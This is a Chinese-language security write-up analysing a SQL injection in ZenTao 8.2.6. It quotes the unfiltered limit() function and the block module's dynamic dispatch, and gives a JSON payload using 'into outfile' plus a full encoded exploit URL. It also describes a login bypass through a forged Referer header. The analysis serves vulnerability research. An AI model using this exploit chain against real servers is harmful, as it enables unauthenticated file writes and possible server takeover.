上一篇文章,SQL注入由 orderBy($order) 函数过滤不严格导致。但是,这个函数对传进的参数进行了一系列过滤,导致 getshell 的条件比较苛刻。不甘心,于是乎找了一个比较好利用的地方。我只是以这个模块的一个函数为例,其它未提到的地方仍然很有可能存在注入。
一、问题的根源
问题出现在 limit($limit) 函数,它对传进的参数没有经过任何过滤就直接拼接成SQL语句进行查询。
// D:\wamp\www\zentao826\lib\base\dao\dao.class.php public function limit($limit) { if($this->inConditionand !$this->conditionIsTrue) return $this; if(empty($limit)) return $this; stripos($limit, 'limit') !== false ? $this->sql .= " $limit " : $this->sql .= ' ' . DAO::LIMIT . " $limit "; return $this; } |
二、利用点
把这个函数在控制器文件中搜索了一下, ->limit($ 只出现在了 module\block\control.php 中,。这个模块中只有 main() 函数是最重要的函数,其它函数都是通过传参进行回调的。直接切入重点吧
// 288行 public function main($module = '', $id = 0) { // 代码省略 $mode = strtolower($this->get->mode); if($mode == 'getblocklist') { // 代码省略 } elseif($mode == 'getblockdata') { // 需要base64编码 $code = strtolower($this->get->blockid); $params = $this->get->param; $params = json_decode(base64_decode($params)); // 这里需要编码 // 代码省略 $this->viewType = (isset($params->viewType) and $params->viewType == 'json') ? 'json' : 'html'; $this->params = $params; $this->view->code = $this->get->blockid; $func = 'print' . ucfirst($code) . 'Block'; if(method_exists('block', $func)) { $this->$func($module); // 在这里进行了动态调用 } else { $this->view->data = $this->block->$func($module, $params); } // 代码省略 } } |
假设,我们想调用 printCaseBlock() 函数,那么传递进去的参数就应该是 mode=getblockdata 、 blockid=case 、以及编码后的 param 。
// 444行 public function printCaseBlock() { $this->session->set('caseList', $this->server->http_referer); $this->app->loadLang('testcase'); $this->app->loadLang('testtask'); $cases = array(); var_dump($this->params); if($this->params->type == 'assigntome') { $cases = $this->dao->select('t1.assignedTo AS assignedTo, t2.*')->from(TABLE_TESTRUN)->alias('t1') ->leftJoin(TABLE_CASE)->alias('t2')->on('t1.case = t2.id') ->leftJoin(TABLE_TESTTASK)->alias('t3')->on('t1.task = t3.id') ->Where('t1.assignedTo')->eq($this->app->user->account) ->andWhere('t1.status')->ne('done') ->andWhere('t3.status')->ne('done') ->andWhere('t3.deleted')->eq(0) ->andWhere('t2.deleted')->eq(0) ->orderBy($this->params->orderBy) ->beginIF($this->viewType != 'json')->limit($this->params->num)->fi() ->fetchAll(); } elseif($this->params->type == 'openedbyme') { $cases = $this->dao->findByOpenedBy($this->app->user->account)->from(TABLE_CASE) ->andWhere('deleted')->eq(0) ->orderBy($this->params->orderBy) ->beginIF($this->viewType != 'json')->limit($this->params->num)->fi() ->fetchAll(); } $this->view->cases = $cases; } |
第一个里面的看起来麻烦多了 ,我决定构造payload进入第二个分支。构造出来的语句如下:
{"orderBy":"order","num":"1 into outfile 'd:/123'","type":"openedbyme"}
最后的 payload 就应该是,这里只是以写文件为例,因为这个系统采取的 PDO ,因此可以多语句执行的。
http://zentao826.me/block-main.html?mode=getblockdata&blockid=case?m=eyJvcmRlckJ5Ijoib3JkZXIiLCJudW0iOiIxIGludG8gb3V0ZmlsZSAnZDovMTIzJyIsInR5cGUiOiJvcGVuZWRieW1lIn0
条件限制:
拥有一个低权限的后台账号
三、更深入一步
当时我在想,这个地方好像是没有限制权限的,能不能绕过登录直接进行注入呢?后来发现,果然是可以的,这样的话,这个漏洞就绝对不鸡肋
// 22行,构造函数 public function __construct($moduleName = '', $methodName = '') { parent::__construct($moduleName, $methodName); /* Mark the call from zentao or ranzhi. */ $this->selfCall = strpos($this->server->http_referer, common::getSysURL()) === 0 || $this->session->blockModule; if($this->methodName != 'admin' and $this->methodName != 'dashboard' and !$this->selfCalland !$this->loadModel('sso')->checkKey()) die(''); } |
这个地方,它应该是提供给 然之 或者 禅道 的一个接口,如果不满足第二个条件,那么就 die('') 。我看了看,除了 $this->selfCall 以及 !$this->loadModel('sso')->checkKey() 单点登录校验,其它对于我们注入是无用的,但是单点登录的 key 我们是无法构造的,因此焦点就落在了 $this->selfCall 上了。 $this->server->http_referer 是 HTTP 请求头中的 referer 字段。 因此在未登录的状态下,增加一个头字段: referer:example.com 即可绕过登录进行注入